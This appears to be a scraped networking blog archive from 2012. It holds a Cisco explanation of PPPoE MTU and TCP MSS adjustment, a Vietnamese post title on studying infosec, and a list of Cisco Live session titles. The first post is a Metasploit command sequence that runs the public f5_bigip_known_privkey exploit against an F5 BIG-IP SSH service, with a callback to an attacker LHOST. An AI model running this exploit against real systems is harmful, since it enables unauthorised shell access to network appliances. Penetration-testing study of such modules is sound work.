Thursday, March 26, 2015
Tuesday, June 19, 2012
SSH vulnerability CVE-2012-1493
$ msfconsole
msf > use exploit/linux/ssh/f5_bigip_known_privkey
msf exploit(f5_bigip_known_privkey) > show payloads
msf exploit(f5_bigip_known_privkey) > set PAYLOAD ...
msf exploit(f5_bigip_known_privkey) > set LHOST [MY IP ADDRESS]
msf exploit(f5_bigip_known_privkey) > set RHOST [TARGET IP]
msf exploit(f5_bigip_known_privkey) > exploit
Tuesday, May 29, 2012
PPOE over Cisco
When a host (usually a PC) initiates a TCP session with a server, it negotiates the IP segment size by using the MSS option field in the TCP SYN packet. The value of the MSS field is determined by the maximum transmission unit (MTU) configuration on the host. The default MSS value for a PC is 1500 bytes.
The PPP over Ethernet (PPPoE) standard supports a MTU of only 1492 bytes. The disparity between the host and PPPoE MTU size can cause the router in between the host and the server to drop 1500-byte packets and terminate TCP sessions over the PPPoE network. Even if the path MTU (which detects the correct MTU across the path) is enabled on the host, sessions may be dropped because system administrators sometimes disable the ICMP error messages that must be relayed from the host in order for path MTU to work. The ip tcp adjust-mss command helps prevent TCP sessions from being dropped by adjusting the MSS value of the TCP SYN packets. The ip tcp adjust-mss command is effective only for TCP connections passing through the router. In most cases, the optimum value for the max-segment-size argument is 1452 bytes. This value plus the 20-byte IP header, the 20-byte TCP header, and the 8-byte PPPoE header add up to a 1500-byte packet that matches the MTU size for the Ethernet link.
If you are configuring the ip mtu command on the same interface as the ip tcp adjust-mss command, it is recommended that you use the following commands and values:
ip tcp adjust-mss 1452
ip mtu 1492
Thursday, May 3, 2012
Làm an toàn thông tin thì học gì?
Tuesday, April 10, 2012
Cisco Live training presentations and online sessions
Cisco Live training presentations and online sessions
| The Care and Feeding of EIGRP | |
| Advanced Wireless Networks using IPv6Enabling new applications and radio behaviors | |
| Introduction to Accounting Principles with NetFlow and NBAR | |
| Bridging in the Data Center With or Without Spanning Tree | |
| Collaboration In the Cloud | |
| Design and Deployment of Triple Play Networks (Data, Voice, Video) Over Wireless | |
| Introduction Cisco Layer 2 Multipathing | |
| Introduction to Accounting Principles with NetFlow and NBAR | |
| Introduction to Cisco telepresence | |
| Network Health Framework | |
| Wireless LAN Radio: Spectrum Management Best Practices | |
| Wireless LAN Security: Hacking Techniques and Protection | |
| Understanding and Preventing Layer 2 Attacks | |
| Cisco IOS – Managing, Optimizing and Tweaking | |
| Introduction to IP Multicast | |
| Multilayer Campus Architecture and Design Principles | |
| Deploying a Virtualized Campus Network Infrastructure | |
| It’s 2010, How Do Hackers (Still) Get In? | |
| Label Switched Multicast | |
| Case Studies in Network Infrastructure Virtualization | |
| Deploying IOS Security | |
| Highly Available Wide Area Network Design | |
| Routing Resiliency -Latest Enhancements | |
| Enterprise IPv6 Deployment | |
| Securing Cloud Computing | |
| WAN Architectures and Design Principles | |
| Firewall Design and Deployment | |
| The Care and Feeding of EIGRP | |
| Cisco NAC Overview | |
| Campus QoS Design | |
| Troubleshooting LAN Protocols | |
| Troubleshooting LAN Switches and Protocols | |
| Next-Generation Network Access Policy with Cisco Secure Access Control System (ACS) | |
| Cisco IOS – Managing, Optimizing and Tweaking | |
| Cisco IronPortEmail Security Appliance | |
| Troubleshooting the Routing Protocol OSPF EIGRP | |
| Advances in Routing: Topics and Directions | |
| Securing DNS | |
| Understanding and Preventing Layer 2 Attacks in IPv4 and IPv6 networks | |
| Why EIGRP? Core features and Advances in EIGRP | |
| CCNA Voice Prep: Cisco IP Telephony Essentials | |
| Mastering IP Subnetting Forever | |
| CCNA-Security/CCSP: Cisco IOS Zone-Based Policy Firewall Overview | |
| CCNA Wireless Prep Session |
